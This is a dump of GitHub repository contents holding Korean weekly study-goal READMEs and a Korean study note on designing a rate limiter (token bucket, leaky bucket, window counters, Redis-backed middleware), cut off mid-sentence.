repo
stringlengths
5
121
content
stringlengths
35
2.09M
yujiasabrinaxie/DILI-Prediction-
yujiasabrinaxie/DILI-Prediction- README.md ```# DILI-Prediction ```
yujin100b/stupid-week-2021
yujin100b/stupid-week-2021 README.md ```## ์ด๋ฒˆ์ฃผ ๋ชฉํ‘œ 1. ํŒŒ์ด์ฌ ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์ธํ„ฐ๋ทฐ ๋ณต์Šต 2. ๋ฐฑ์ค€ ์œ ํ˜•์— ๋Œ์•„๊ฐ€๋ฉฐ ํ’€๊ธฐ 3. ํ”„๋กœ๊ทธ๋ž˜๋จธ์Šค ๋ ˆ๋ฒจ2 ํ’€๊ธฐ``` README.md ```## ์ด๋ฒˆ์ฃผ ๋ชฉํ‘œ - [ ] TOPCIT ์ •๋ฆฌํ•˜๊ธฐ - [ ] ํด๋ž˜์Šค101์„ ํ†ตํ•ด ๋“ฃ๋Š” ์˜์–ด ๊ฐ•์˜ ๋“ฃ๊ธฐ - [ ] DNS์™€ ์ž‘๋™ ์›๋ฆฌ ์ •๋ฆฌํ•˜๊ธฐ``` README.md ```## ์ด๋ฒˆ์ฃผ ๋ชฉํ‘œ 1. Android MediaControl Notification ์ •๋ฆฌ 2. ํ† ์ดํ”„๋กœ์ ํŠธ ์ง„ํ–‰ 3. ์•Œ๊ณ ๋ฆฌ์ฆ˜ ๋ฌธ์ œํ’€์ด 3๋ฌธ์ œ ``` README.md ```## ์ด๋ฒˆ์ฃผ ๋ชฉํ‘œ 1. ํด๋ฆฐ ์ฝ”๋“œ 9์žฅ ์ •๋ฆฌ 2. ํด๋ฆฐ ์ฝ”๋“œ 10์žฅ ์ •๋ฆฌ 3. ์•Œ๊ณ ๋ฆฌ์ฆ˜ 3๋ฌธ์ œ ์ด์ƒ ํ’€๊ธฐ``` voca.md ```![์ถœ์„ํ˜„ํ™ฉ]() ``` README.md ```## ์ด๋ฒˆ์ฃผ ๋ชฉํ‘œ 1. ์•Œ๊ณ ๋ฆฌ์ฆ˜: LeetCode Weekly Contest 233 ๋„์ „ 2. ์˜์–ด๊ณต๋ถ€: ๋„ค์ด๋ฒ„์˜์–ด, ๋งํ•ด๋ณด์นด ๋„์ „ 3. JS ์ •๋ฆฌํ•˜๊ธฐ ``` README.md ```# ์ด๋ฒˆ์ฃผ ๋ชฉํ‘œ 1. `NEXT_STEP TDD With JAVA` 2๋‹จ๊ณ„, Lotto 2๋‹จ๊ณ„(๊ฐ€๋Šฅํ•˜๋ฉด 3๋‹จ๊ณ„, 4๋‹จ๊ณ„๊นŒ์ง€!) 2. SSAFY ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์Šคํ„ฐ๋”” ๋ฐฑ์ค€ ๋ฌธ์ œ(4๋ฌธ์ œ +a) ํ’€๊ธฐ 3. ๊น€์˜ํ•œ๋‹˜์˜ ์Šคํ”„๋ง ํ•ต์‹ฌ์›๋ฆฌ ๊ธฐ๋ณธํŽธ-์„น์…˜2,3 ์ •๋ฆฌ ```
yujinchoi-94/TIL
yujinchoi-94/TIL chap4.md ```# 4์žฅ ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜์˜ ์„ค๊ณ„ - Rate limiter: ํด๋ผ์ด์–ธํŠธ ๋˜๋Š” ์„œ๋น„์Šค๊ฐ€ ๋ณด๋‚ด๋Š” ํŠธ๋ž˜ํ”ฝ์˜ ์ฒ˜๋ฆฌ์œจ (rate)์„ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•œ ์žฅ์น˜ - HTTP๋ฅผ ์˜ˆ๋กœ ๋“ค๋ฉด, ํŠน์ • ๊ธฐ๊ฐ„ ๋‚ด์— ์ „์†ก๋˜๋Š” ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ ํšŸ์ˆ˜๋ฅผ ์ œํ•œํ•œ๋‹ค. API ์š”์ฒญ ํšŸ์ˆ˜๊ฐ€ threshold๋ฅผ ๋„˜์–ด์„œ๋ฉด ์ถ”๊ฐ€๋กœ ํ˜ธ์ถœ์€ ๋ชจ๋‘ block๋œ๋‹ค. - eg) - ์‚ฌ์šฉ์ž๋Š” ์ดˆ๋‹น 2ํšŒ ์ด์ƒ ์ƒˆ๊ธ€์„ ์˜ฌ๋ฆด ์ˆ˜ ์—†๋‹ค - ๊ฐ™์€ IP ์ฃผ์†Œ๋กœ๋Š” ํ•˜๋ฃจ์— 10๊ฐœ ์ด์ƒ์˜ ๊ณ„์ •์„ ์ƒ์„ฑํ•  ์ˆ˜ ์—†๋‹ค. - ๋„์ž…์‹œ ์žฅ์  - DoS ๋ฐฉ์ง€: ์ถ”๊ฐ€ ์š”์ฒญ์— ๋Œ€ํ•ด ์ฒ˜๋ฆฌ๋ฅผ ์ค‘๋‹จํ•จ์œผ๋กœ์„œ DoS ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•œ๋‹ค. - ๋น„์šฉ ์ ˆ๊ฐ: ์ถ”๊ฐ€ ์š”์ฒญ์— ๋Œ€ํ•œ ์ฒ˜๋ฆฌ๋ฅผ ์ œํ•œํ•จ์œผ์„œ ์„œ๋ฒ„๋ฅผ ๋งŽ์ด ๋‘˜ ํ•„์š”๊ฐ€ ์—†์–ด์ง€๊ณ , ์šฐ์„  ์ˆœ์œ„๊ฐ€ ๋†’์€ API์— ๋” ๋งŽ์€ ์ž์›์„ ํ• ๋‹นํ•  ์ˆ˜ ์žˆ๋‹ค. ํŠนํžˆ third party API์— ์‚ฌ์šฉ๋ฃŒ๋ฅผ ์ง€๋ถˆํ•˜๊ณ  ์žˆ๋Š” ํšŒ์‚ฌ๋“ค์—๊ฒŒ ์•„์ฃผ ์ค‘์š”ํ•˜๋‹ค. API ํ˜ธ์ถœ์— ๋”ฐ๋ผ ๊ณผ๊ธˆ์ด ๋ฐœ์ƒํ•œ๋‹ค๋ฉด, ๊ทธ ํšŸ์ˆ˜๋ฅผ ์ œํ•œํ•  ์ˆ˜ ์žˆ์–ด์•ผ ๋น„์šฉ ์ ˆ๊ฐ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. - ์„œ๋ฒ„ ๊ณผ๋ถ€ํ•˜ ์˜ˆ๋ฐฉ: ๋ด‡์ด๋‚˜ ์‚ฌ์šฉ์ž์˜ ์ž˜๋ชป๋œ ์ด์šฉ์œผ๋กœ ์ธํ•œ ํŠธ๋ž˜ํ”ฝ์„ ๊ฑธ๋Ÿฌ๋‚ด๋Š”๋ฐ Rate limiter๋ฅผ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ### 1๋‹จ๊ณ„ ๋ฌธ์ œ ์ดํ•ด ๋ฐ ์„ค๊ณ„ ๋ฒ”์œ„ ํ™•์ • - ํด๋ผ์ด์–ธํŠธ or ์„œ๋ฒ„ ์ œํ•œ ์žฅ์น˜? - ์ œ์–ด ๊ธฐ์ค€? IP ํ˜น์€ ์‚ฌ์šฉ์ž ID? - ์‹œ์Šคํ…œ์˜ ๊ทœ๋ชจ๋Š”? - ์‹œ์Šคํ…œ์ด ๋ถ„์‚ฐ ํ™˜๊ฒฝ์—์„œ ๋™์ž‘ํ•˜๋Š”์ง€? - ๋…๋ฆฝ์ ์ธ ์„œ๋น„์Šค ์ธ์ง€ ์•„๋‹ˆ๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ ๋‚ด์— ํฌํ•จ๋˜๋Š”์ง€? - rate limiter์— ์˜ํ•ด block๋œ ๊ฒฝ์šฐ ์‚ฌ์šฉ์ž์—๊ฒŒ ์•Œ๋ ค์ฃผ์–ด์•ผ ํ•˜๋Š”์ง€? #### ์š”๊ตฌ์‚ฌํ•ญ - ์„ค์ •๋œ ์ฒ˜๋ฆฌ์œจ์„ ๋„˜์–ด์„œ๋Š” ์š”์ฒญ์€ ์ •ํ™•ํ•˜๊ฒŒ ์ œํ•œ - ๋‚ฎ์€ ์‘๋‹ต์‹œ๊ฐ„ - ๊ฐ€๋Šฅํ•œ ์ ์€ ๋ฉ”๋ชจ๋ฆฌ - distributed rate limit: ํ•˜๋‚˜์˜ ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜๋ฅผ ์—ฌ๋Ÿฌ ์„œ๋ฒ„ or ํ”„๋กœ์„ธ์Šค์—์„œ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ์–ด์•ผ - ์˜ˆ์™ธ ์ฒ˜๋ฆฌ: block๋์„ ๋•Œ ์‚ฌ์šฉ์ž์—๊ฒŒ ์•Œ๋ ค์ค„ ๊ฒƒ - fault tolerant ### 2๋‹จ๊ณ„ ๊ฐœ๋žต์  ์„ค๊ณ„์•ˆ ์ œ์‹œ ๋ฐ ๋™์˜ ๊ตฌํ•˜๊ธฐ ๋ณต์žกํ•˜๊ฒŒ ๊ฐ€์ง€ ๋ง๊ณ  ๊ฐ„๋‹จํ•œ ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ํ†ต์‹  ๋ชจ๋ธ์„ ์‚ฌ์šฉ #### Rate limiter๋Š” ์–ด๋””์— ๋‘˜ ๊ฒƒ ์ธ๊ฐ€? - ํด๋ผ์ด์–ธํŠธ ์ธก์— ๋‘˜ ๊ฒฝ์šฐ : ํด๋ผ์ด์–ธํŠธ๋Š” rate limiter๋ฅผ ์œ„ํ•œ ์•ˆ์ •์ ์ธ ์žฅ์†Œ๊ฐ€ ๋˜์ง€ ๋ชปํ•œ๋‹ค. ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์€ ์‰ฝ๊ฒŒ ์œ„ ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•ด์„œ ๋ชจ๋“  ํด๋ผ์ด์–ธํŠธ์˜ ๊ตฌํ˜„์„ ํ†ต์ œํ•˜๋Š” ๊ฒƒ๋„ ์–ด๋ ค์šธ ์ˆ˜ ์žˆ๋‹ค. - ์„œ๋ฒ„ ์ธก์— ๋‘˜ ๊ฒฝ์šฐ: rate limiter๋ฅผ ์„œ๋ฒ„์— ๋‘๋Š” ๋Œ€์‹  ๋ฏธ๋“ค์›จ์–ด๋กœ ํ•˜์—ฌ๊ธˆ API ์„œ๋ฒ„๋กœ ๊ฐ€๋Š” ์š”์ฒญ์„ ํ†ต์ œํ•˜๋„๋ก ํ• ์ˆ˜๋„ ์žˆ๋‹ค. ๋„๋ฆฌ ์ฑ„ํƒ๋œ ๊ธฐ์ˆ ์ธ ํด๋ผ์šฐ๋“œ ๋งˆ์ดํฌ๋กœ์„œ๋น„์Šค์˜ ๊ฒฝ์šฐ rate limiter๋Š” ๋ณดํ†ต api gw์— ๊ตฌํ˜„๋œ๋‹ค. - rate limiter๋ฅผ ์–ด๋””์— ๋‘์–ด์•ผ ํ• ์ง€์—๋Š” ์ •๋‹ต์ด ์—†๋‹ค. ๋‹ค๋งŒ, ์ผ๋ฐ˜์ ์œผ๋กœ ์ ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋ช‡๊ฐ€์ง€ ์ง€์นจ์„ ๋‚˜์—ดํ•ด ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. - ๊ธฐ์ˆ  ์Šคํƒ์„ ์ ๊ฒ€ํ•˜๊ณ  ํ˜„์žฌ ์‚ฌ์šฉ ์ค‘์ธ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด๊ฐ€ ์„œ๋ฒ„์ธก ๊ตฌํ˜„์„ ์ง€์›ํ•˜๊ธฐ ์ถฉ๋ถ„ํ•  ์ •๋„๋กœ ํšจ์œจ์ด ๋†’์€์ง€ ํ™•ใ…‡๋‹ˆํ•˜๋ผ - ์‚ฌ์—… ํ•„์š”์— ๋งž๋Š” rate limiter ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์ฐพ์•„๋ผ. ์„œ๋ฒ„์ธก์—์„œ ๋ชจ๋“  ๊ฒƒ์„ ๊ตฌํ˜„ํ•  ๊ฒฝ์šฐ ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์„ ํƒ์ด ์ž์œ ๋กœ์›Œ ์ง€์ง€๋งŒ, ์ œ 3์ž๊ฐ€ ์ œ๊ณตํ•˜๋Š” ๊ฒŒ์ดํŠธ์›จ์ด๋ฅผ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ์„ ํƒ์ง€๊ฐ€ ์ œํ•œ๋  ์ˆ˜ ์žˆ๋‹ค. - ์„ค๊ณ„๊ฐ€ ๋งˆ์ดํฌ๋กœ์„œ๋น„์Šค์— ๊ธฐ๋ฐ˜ํ•˜๊ณ , ์ธ์ฆ, IP ํ—ˆ์šฉ๋ชฉ๋ก ๊ด€๋ฆฌ ๋“ฑ์˜ ์ฒ˜๋ฆฌ๋ฅผ ์œ„ํ•ด api gw๋ฅผ ์ด๋ฏธ ์„ค๊ณ„์— ํฌํ•จ์‹œ์ผฐ๋‹ค๋ฉด rate limiter ๋˜ํ•œ apigw์— ํฌํ•จ์‹œ์ผœ์•ผ ํ•  ์ˆ˜ ์žˆ๋‹ค. - rate limiter๋ฅผ ๊ตฌํ˜„ํ•˜๋Š”๋ฐ๋Š” ์‹œ๊ฐ„์ด ๋“ ๋‹ค. ๊ตฌํ˜„ํ•  ์‹œ๊ฐ„์ด ์—†๋‹ค๋ฉด ์ƒ์šฉ apigw๋ฅผ ์“ฐ๋Š” ๊ฒƒ์ด ๋ฐ”๋žŒ์งํ•˜๋‹ค. #### ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์•Œ๊ณ ๋ฆฌ์ฆ˜ 1. ํ† ํฐ ๋ฒ„ํ‚ท : ๊ฐ€์žฅ ๋ณดํŽธ์ ์ด๊ณ  ๋„๋ฆฌ ์‚ฌ์šฉ๋œ๋‹ค. 1. ํ† ํฐ ๋ฒ„ํ‚ท์€ ์ง€์ •๋œ ์šฉ๋Ÿ‰์„ ๊ฐ–๋Š” ์ปจํ…Œ์ด๋„ˆ์ด๋‹ค. ์‚ฌ์ „์— ์„ค์ •๋œ ์–‘์˜ ํ† ํฐ์ด ์ฃผ๊ธฐ์ ์œผ๋กœ ์ฑ„์›Œ์ง€๊ณ , ํ† ํฐ์ด ๊ฝ‰ ์ฐจ์žˆ์„ ๋•Œ๋Š” ๋” ์ด์ƒ ํ† ํฐ์ด ์ถ”๊ฐ€๋˜์ง€ ์•Š๋Š”๋‹ค. ํ† ํฐ ๊ณต๊ธ‰๊ธฐ๊ฐ€ ์ฃผ๊ธฐ์ ์œผ๋กœ ํ† ํฐ์„ ์ถ”๊ฐ€ํ•˜๊ณ , ๋ฒ„ํ‚ท์ด ๊ฐ€๋“ ์ฐผ์„ ๋•Œ ์ถ”๊ฐ€๋œ ํ† ํฐ์€ ๋ฒ„๋ ค์ง„๋‹ค. 2. ๊ฐ ์š”์ฒญ์€ ์ฒ˜๋ฆฌ๋  ๋•Œ๋งˆ๋‹ค ํ•˜๋‚˜์˜ ํ† ํฐ์„ ์‚ฌ์šฉํ•œ๋‹ค. ํ† ํฐ์ด ์žˆ๋Š” ๊ฒฝ์šฐ ํ† ํฐ์„ ๊บผ๋‚ด ์‹œ์Šคํ…œ์— ์ „๋‹ฌํ•˜๊ณ , ํ† ํฐ์ด ์—†๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ์š”์ฒญ์€ ๋ฒ„๋ ค์ง„๋‹ค. 3. ์ด ์•Œ๊ณ ๋ฆฌ์ฆ˜์—๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฒ„ํ‚ท ํฌ๊ธฐ, ํ† ํฐ ๊ณต๊ธ‰๋ฅ  (refil rate) ๋‘ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›๋Š”๋‹ค. 4. ๋ฒ„ํ‚ท์„ ๋ช‡๊ฐœ๋‚˜ ์‚ฌ์šฉํ•ด์•ผ ํ• ์ง€๋Š” ๊ณต๊ธ‰ ์ œํ•œ ๊ทœ์น™์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง„๋‹ค. 1. ์ผ๋ฐ˜์ ์œผ๋กœ API endpoint ๋งˆ๋‹ค ๋ณ„๋„์˜ ๋ฒ„ํ‚ท์„ ๋‘”๋‹ค. 2. IP ์ฃผ์†Œ ๋ณ„๋กœ rate limit์„ ์ ์šฉํ•ด์•ผ ํ•œ๋‹ค๋ฉด ๋ฒ„ํ‚ท์€ ip ๋งˆ๋‹ค ํ• ๋‹น๋˜์•ผ ํ•œ๋‹ค. 3. ์‹œ์Šคํ…œ์˜ ์ฒ˜๋ฆฌ์œจ์„ ์ดˆ๋‹น 10,000์œผ๋กœ ์ œํ•œํ•˜๊ณ  ์‹ถ์œผ๋ฉด, ๋ชจ๋“  ์š”์ฒญ์„ ํ•˜๋‚˜์˜ ๋ฒ„ํ‚ท์„ ๊ณต์œ ํ•˜๋„๋ก ํ•ด์•ผ ํ•œ๋‹ค. 2. ๋ˆ„์ถœ ๋ฒ„ํ‚ท: ํ† ํฐ ๋ฒ„ํ‚ท๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ, ์š”์ฒญ ์ฒ˜๋ฆฌ์œจ์ด ๊ณ ์ •๋˜์–ด ์žˆ๋‹ค. ๋ณดํ†ต FIFO ํ๋กœ ๊ตฌํ˜„ํ•œ๋‹ค. 1. ์š”์ฒญ์ด ๋„์ฐฉํ•˜๋ฉด ํ๊ฐ€ ๊ฐ€๋“์ฐจ์žˆ๋Š”์ง€ ๋ณธ๋‹ค. ๋นˆ์ž๋ฆฌ๊ฐ€ ์žˆ์œผ๋ฉด ํ์— ์ถ”๊ฐ€ํ•˜๊ณ  ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์ƒˆ ์š”์ฒญ์€ ๋ฒ„๋ฆฐ๋‹ค. 2. ์ง€์ •๋œ ์‹œ๊ฐ„๋งˆ๋‹ค ํ์—์„œ ์š”์ฒญ์„ ๊บผ๋‚ด ์ฒ˜๋ฆฌํ•œ๋‹ค. 3. ๋ฒ„ํ‚ทํฌ๊ธฐ, ์ฒ˜๋ฆฌ์œจ ๋‘ ์ธ์ž๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. 1. ๋ฒ„ํ‚ทํฌ๊ธฐ: ํ ์‚ฌ์ด์ฆˆ. ํ์—๋Š” ์ฒ˜๋ฆฌ๋  ํ•ญ๋ชฉ๋“ค์ด ๋ณด๊ด€๋œ๋‹ค. 2. ์ฒ˜๋ฆฌ์œจ(outflow rate): ์ง€์ •๋œ ์‹œ๊ฐ„๋‹น ๋ช‡ ๊ฐœ์˜ ํ•ญ๋ชฉ์„ ์ฒ˜๋ฆฌํ• ์ง€ ์ง€์ •ํ•˜๋Š” ๊ฐ’์ด๋‹ค. 4. ์žฅ์  1. ํ์˜ ํฌ๊ธฐ๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ์–ด ๋ฉ”๋ชจ๋ฆฌ ์‚ฌ์šฉ๋Ÿ‰ ์ธก๋ฉด์—์„œ ํšจ์œจ์ ์ด๋‹ค. 2. ๊ณ ์ •๋œ ์ฒ˜๋ฆฌ์œจ์„ ๊ฐ–๊ณ  ์žˆ์–ด stable outflow rate์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ์— ์ ํ•ฉํ•˜๋‹ค 5. ๋‹จ์  1. ๋‹จ์‹œ๊ฐ„ ๋งŽ์€ ํŠธ๋ž˜ํ”ฝ์ด ๋ชฐ๋ฆฌ๊ฒŒ ๋ ๊ฒฝ์šฐ ํ์— ์˜ค๋ž˜๋œ ์š”์ฒญ๋“ค์ด ์Œ“์ด๊ณ , ๊ทธ ์š”์ฒญ๋“ค์„ ์ œ๋•Œ ์ฒ˜๋ฆฌํ•˜์ง€ ๋ชปํ•˜๋ฉด ์ตœ์‹  ์š”์ฒญ๋“ค์€ ๋ฒ„๋ ค์ง€๊ฒŒ ๋œ๋‹ค. 2. ๋‘ ๊ฐœ ์ธ์ž์˜ ํŠœ๋‹์ด ๊นŒ๋‹ค๋กœ์šธ ์ˆ˜ ์žˆ๋‹ค. 3. ๊ณ ์ • ์œˆ๋„ ์นด์šดํ„ฐ 1. ํƒ€์ž„ ๋ผ์ธ์„ ๊ณ ์ • ๊ฐ„๊ฒฉ ์œˆ๋„์šฐ๋กœ ๋‚˜๋ˆ„๊ณ , ๊ฐ ์œˆ๋„๋งˆ๋‹ค ์นด์šดํ„ฐ๋ฅผ ๋ถ™์ธ๋‹ค. 2. ์š”์ฒญ์ด ์ ‘์ˆ˜๋  ๋•Œ ๋งˆ๋‹ค ์นด์šดํ„ฐ์˜ ๊ฐ’์ด 1์”ฉ ์ฆ๊ฐ€๋œ๋‹ค. ์นด์šดํ„ฐ์˜ ๊ฐ’์ด threshold์— ๋„๋‹ฌํ•˜๋ฉด ์ƒˆ๋กœ์šด ์š”์ฒญ์€ ์ƒˆ ์œˆ๋„๊ฐ€ ์—ด๋ฆด ๋•Œ๊นŒ์ง€ ๋ฒ„๋ ค์ง„๋‹ค. 3. ์žฅ์  1. ๋ฉ”๋ชจ๋ฆฌ ํšจ์œจ์ด ์ข‹๋‹ค. 2. ์ดํ•ดํ•˜๊ธฐ ์‰ฝ๋‹ค 3. ์œˆ๋„๊ฐ€ ๋‹ซํžˆ๋Š” ์‹œ์ ์— ์นด์šดํ„ฐ๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜๋Š” ๋ฐฉ์‹์€ ํŠน์ •ํ•œ ํŠธ๋ž˜ํ”ฝ ํŒจํ„ด์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ์— ์ ํ•ฉํ•˜๋‹ค. 4. ๋‹จ์  1. ์œˆ๋„ ๊ฒฝ๊ณ„ ๋ถ€๊ทผ์—์„œ ์ผ์‹œ์ ์œผ๋กœ ๋งŽ์€ ํŠธ๋ž˜ํ”ฝ์ด ๋ชฐ๋ฆฌ๋Š” ๊ฒฝ์šฐ, ๊ธฐ๋Œ€ํ–ˆ๋˜ ์‹œ์Šคํ…œ์˜ ์ฒ˜๋ฆฌํ•œ๋„๋ณด๋‹ค ๋” ๋งŽ์€ ์–‘์˜ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ฒŒ ๋œ๋‹ค. 4. ์ด๋™ ์œˆ๋„ ๋กœ๊ทธ 1. ์œˆ๋„ ๊ฒฝ๊ณ„ ๋ถ€๊ทผ์— ํŠธ๋ž˜ํ”ฝ์ด ์ง‘์ค‘๋˜๋Š” ๊ฒฝ์šฐ ์‹œ์Šคํ…œ์— ์„ค์ •๋œ ํ•œ๋„๋ณด๋‹ค ๋งŽ์€ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ฒŒ ๋œ๋‹ค๋Š” ๊ณ ์ • ์œˆ๋„ ์นด์šดํ„ฐ์˜ ์ค‘๋Œ€ํ•œ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•œ๋‹ค. 2. ์š”์ฒญ์˜ ํƒ€์ž„์Šคํƒฌํ”„๋ฅผ ์ถ”์ ํ•œ๋‹ค. ํƒ€์ž„์Šคํƒฌํ”„ ๋ฐ์ดํ„ฐ๋Š” ๋ณดํ†ต ๋ ˆ๋””์Šค์˜ ์ •๋ ฌ ์ง‘ํ•ฉ ๊ฐ™์€ ์บ์‹œ์— ๋ณด๊ด€ํ•œ๋‹ค. 3. ์ƒˆ ์š”์ฒญ์ด ์˜ค๋ฉด ๋งŒ๋ฃŒ๋œ ํƒ€์ž„์Šคํƒฌํ”„๋ฅผ ์ œ๊ฑฐํ•œ๋‹ค. ๋งŒ๋ฃŒ๋œ ํƒ€์ž„์Šคํƒฌํ”„๋Š” ๊ทธ ๊ฐ’์˜ ์‹œ์ž‘์ด ํ˜„์žฌ ์œˆ๋„์˜ ์‹œ์ž‘ ์‹œ์ ๋ณด๋‹ค ์˜ค๋ž˜๋œ ํƒ€์ž„์Šคํƒฌํ”„๋ฅผ ๋งํ•œ๋‹ค. 4. ์ƒˆ ์š”์ฒญ์˜ ํƒ€์ž„์Šคํƒฌํ”„๋ฅผ ๋กœ๊ทธ์— ์ถ”๊ฐ€ํ•œ๋‹ค. 5. ๋กœ๊ทธ์˜ ํฌ๊ธฐ๊ฐ€ ํ—ˆ์šฉ์น˜๋ณด๋‹ค ๊ฐ™๊ฑฐ๋‚˜ ์ž‘์œผ๋ฉด ์š”์ฒญ์„ ์‹œ์Šคํ…œ์— ์ „๋‹ฌํ•˜๊ณ , ๊ทธ๋ ‡์ง€ ์•Š์€ ๊ฒฝ์šฐ์—๋Š” ์ฒ˜๋ฆฌ๋ฅผ ๊ฑฐ๋ถ€ํ•œ๋‹ค. 6. ์žฅ์  1. ์ •๊ตํ•œ ๋ฉ”์ปค๋‹ˆ์ฆ˜ ๋•๋ถ„์— ์–ด๋А ์ˆœ๊ฐ„์˜ ์œˆ๋„๋ฅผ ๋ณด๋”๋ผ๋„ ํ—ˆ์šฉ๋˜๋Š” ์š”์ฒญ์˜ ๊ฐœ์ˆ˜๋Š” ์‹œ์Šคํ…œ์˜ ์ฒ˜๋ฆฌ ํ•œ๋„๋ฅผ ๋„˜์ง€ ์•Š๋Š”๋‹ค. 7. ๋‹จ์  1. ๊ฑฐ๋ถ€๋œ ์š”์ฒญ์˜ ํƒ€์ž„์Šคํƒฌํ”„๋„ ๋ณด๊ด€ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋Ÿ‰์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. 5. ์ด๋™ ์œˆ๋„ ์นด์šดํ„ฐ 1. ๊ณ ์ • ์œˆ๋„ ์นด์šดํ„ฐ์™€ ์ด๋™ ์œˆ๋„ ์•Œ๊ณ ๋ฆฌ์ฆ˜์˜ ๊ฒฐํ•ฉ #### ๊ฐœ๋žต์ ์ธ ์•„ํ‚คํ…์ฒ˜ - rate limit ์•Œ๊ณ ๋ฆฌ์ฆ˜์˜ ๊ธฐ๋ณธ ์•„์ด๋””์–ด๋Š” ๋‹จ์ˆœํ•˜๋‹ค. - ์–ผ๋งˆ๋‚˜ ๋งŽ์€ ์š”์ฒญ์ด ์ ‘์ˆ˜๋˜์—ˆ๋Š”์ง€๋ฅผ ์ถ”์ ํ•  ์ˆ˜ ์žˆ๋Š” ์นด์šดํ„ฐ๋ฅผ ์ถ”์  ๋Œ€์ƒ๋ณ„๋กœ ๋‘๊ณ  (์‚ฌ์šฉ์ž ๋ณ„? IP๋ณ„? API ์—”๋“œํฌ์ธํŠธ๋‚˜ ์„œ๋น„์Šค ๋‹จ์œ„๋ณ„?) ์ด ์นด์šดํ„ฐ์˜ ํ•œ๋„๋ฅผ ๋„˜์–ด์„œ ๋„์ฐฉํ•œ ์š”์ฒญ์€ ๊ฑฐ๋ถ€ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. - ์ด ์นด์šดํ„ฐ๋ฅผ ์–ด๋””์— ๋ณด๊ด€ํ• ๊นŒ? - DB: ๋””์Šคํฌ ์ ‘๊ทผ ๋•Œ๋ฌธ์— ๋А๋ฆฌ๋‹ˆ๊นŒ ์‚ฌ์šฉ X - ๋น ๋ฅธ๋ฐ๋‹ค๊ฐ€ ์‹œ๊ฐ„์— ๊ธฐ๋ฐ˜ํ•œ ๋งŒ๋ฃŒ ์ •์ฑ…์„ ์ง€์›ํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์ƒ์—์„œ ๋™์ž‘ํ•˜๋Š” ์บ์‹œ๊ฐ€ ๋ฐ”๋žŒ์งํ•˜๋‹ค. - ์ผ๋ก€๋กœ, ๋ ˆ๋””์Šค๋Š” rate limiter๋ฅผ ๊ตฌํ˜„ํ•  ๋•Œ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ๊ธฐ๋ฐ˜ ์ €์žฅ์žฅ์น˜์ด๋‹ค. - ๋™์ž‘ ์›๋ฆฌ - ํด๋ผ์ด์–ธํŠธ๊ฐ€ rate limiting middleware์— ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค. - ๋ฏธ๋“ค์›จ์–ด๋Š” ๋ ˆ๋””์Šค์˜ ์ง€์ • ๋ฒ„ํ‚ท์—์„œ ์นด์šดํ„ฐ๋ฅผ ๊ฐ€์ ธ์™€ ํ•œ๋„์— ๋„๋‹ฌํ–ˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•œ๋‹ค. - ํ•œ๋„์— ๋„๋‹ฌํ–ˆ๋‹ค๋ฉด ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•œ๋‹ค. - ํ•œ๋„์— ๋„๋‹ฌํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด ์š”์ฒญ์„ API ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•œ๋‹ค. ํ•œํŽธ, ๋ฏธ๋“ค์›จ์–ด๋Š” ์นด์šดํ„ฐ์˜ ๊ฐ’์„ ์ฆ๊ฐ€์‹œํ‚จ ํ›„ ๋‹ค์‹œ ๋ ˆ๋””์Šค์— ์ €์žฅํ•œ๋‹ค. ### 3๋‹จ๊ณ„ ์ƒ์„ธ์„ค๊ณ„ ์•ž์„  ์•„ํ‚คํ…์ฒ˜๋กœ๋Š” ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ๊ทœ์น™์ด ์–ด๋””์„œ ๋งŒ๋“ค์–ด์ง€๊ณ  ์ €์žฅ๋˜๋Š”์ง€, ์ฒ˜๋ฆฌ๊ฐ€ ์ œํ•œ๋œ ์š”์ฒญ๋“ค์ด ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌ๋˜๋Š”์ง€์— ๋Œ€ํ•ด ์•Œ 